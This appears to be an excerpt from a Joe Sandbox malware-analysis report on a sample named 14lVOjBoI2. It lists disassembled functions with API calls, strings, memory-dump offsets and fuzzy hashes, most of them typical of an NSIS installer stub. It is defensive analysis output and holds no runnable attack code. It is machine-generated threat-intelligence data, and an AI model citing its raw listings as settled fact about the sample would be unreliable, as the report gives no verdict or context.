Function 38D7B4EC Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffe44439a1f8e5932665b16d4d0957589d7df276de92db7196be3c889a336394
Instruction ID: d961ad8217e2559a73606824dd91f815b0029d7bd45d68858320556eebfe309d
Opcode Fuzzy Hash: ffe44439a1f8e5932665b16d4d0957589d7df276de92db7196be3c889a336394
Instruction Fuzzy Hash: 48C19274E00218CFDB14DFA9D994B9DBBB2BF89301F6081A9E409AB355DB359E85CF10

Function 38D7E790 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e9357e77bf43d591bfee6240f1141ec67b67d8c4acbe444832594341e3207f9
Instruction ID: d9d77e86b5b6242bbdf3207546bd12fd3133e99dfefc8f142f0b4c96d8b948f7
Opcode Fuzzy Hash: 1e9357e77bf43d591bfee6240f1141ec67b67d8c4acbe444832594341e3207f9
Instruction Fuzzy Hash: D3B19178E00258CFDB54DFA8D995B9DBBB2BF49341F6080A9E409AB351DB359E81CF10

Function 38D7EBF4 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41949b1f74cab30f27ae0cc1a2041bda36a4fd0ac07bd85bd128b2d621742f8d
Instruction ID: 3ad3d5fc4ae43b3aff6fb6180c6e948bcaadb0ab911b624b075445ba84209edc
Opcode Fuzzy Hash: 41949b1f74cab30f27ae0cc1a2041bda36a4fd0ac07bd85bd128b2d621742f8d
Instruction Fuzzy Hash: 4AB19D78E00258CFDB54DFA8D995B9DBBB2BF49341F6080A9E409AB351DB359E81CF10

Function 392C3D01 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26f99d93531255fd497f7d12ad25b85ddd26855da4947e421d38d175920ba39b
Instruction ID: dbecd1df83593f0f85881fc6d553cbb9dff4f67fe3a441666ff5a9eb7c78d998
Opcode Fuzzy Hash: 26f99d93531255fd497f7d12ad25b85ddd26855da4947e421d38d175920ba39b
Instruction Fuzzy Hash: 85E0996090E7C1AFEB138B34882A4847F70AE0720131E49CFC0D0DF0F3DA18488AC32A

Function 392C3D40 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2265b79856ecd146a463b82706bed24ff8a2d7b643b3f9c26dc2fa03fe6aa7eb
Instruction ID: 75e4a38f71a417a95dbff848321257522665b9b3dd3befca15627026c4fe27ef
Opcode Fuzzy Hash: 2265b79856ecd146a463b82706bed24ff8a2d7b643b3f9c26dc2fa03fe6aa7eb
Instruction Fuzzy Hash: 1AE05E5180E7C02FEF070B3509225823FB49C1751031E4ACBC4E09F0B3E214459AC762

Function 392C3CE0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ddab1d947187aadb2db4e9a293669a45c1ca6ee97641a813ff711dd430fe964
Instruction ID: 1eb610ce904e308d6640cf5cfe18827ed8a6ed164e19883403b71a69a10ac150
Opcode Fuzzy Hash: 6ddab1d947187aadb2db4e9a293669a45c1ca6ee97641a813ff711dd430fe964
Instruction Fuzzy Hash: 76C012B080F3C0AFCB134B2548220443F30AE0B11130A8ACAC0808B0B3D22800CA83AA

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,00000008), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,00000008), ref: 004054F1
ShowWindow.USER32(00000008), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
EnableWindow.USER32(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 004042B6 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040451D

Strings

open, xrefs: 004044C5
-B@, xrefs: 004044C2
N, xrefs: 00404452

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$N$open
API String ID: 3615053054-1057335957
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 0040389E Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

lstrcatW.KERNEL32(00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76F93420,00441800,00000000,0043F000), ref: 0040391F
lstrlenW.KERNEL32(00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76F93420), ref: 0040399F
lstrcmpiW.KERNEL32(00432E98,.exe,00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(00432EA0), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403A06

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
RichEdit, xrefs: 00403AF9
.exe, xrefs: 004039AC
RichEd20, xrefs: 00403ACC
.DEFAULT\Control Panel\International, xrefs: 0040390A
RichEd32, xrefs: 00403ADA
_Nb, xrefs: 00403A22, 00403A8A
RichEdit20W, xrefs: 00403AEA, 00403AF0

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

%ls=%ls, xrefs: 00405DF1
NUL, xrefs: 00405D8D
[Rename], xrefs: 00405E65, 00405E77

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 004045B4 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(00432EA0,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,00432EA0), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,76F93420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0043F000,76F93420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,76F93420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

A, xrefs: 004046D7

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 00402DEE Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,00442800,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,00442800,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
Null, xrefs: 00402EE5
Inst, xrefs: 00402ED3
(*B, xrefs: 00402E7C
soft, xrefs: 00402EDC
Error launching installer, xrefs: 00402E3E

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: (*B$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-2478819026
Opcode ID: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00406077 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040613A
GetSystemDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,00432EA0), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(00432EA0,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(00432EA0,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040629E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
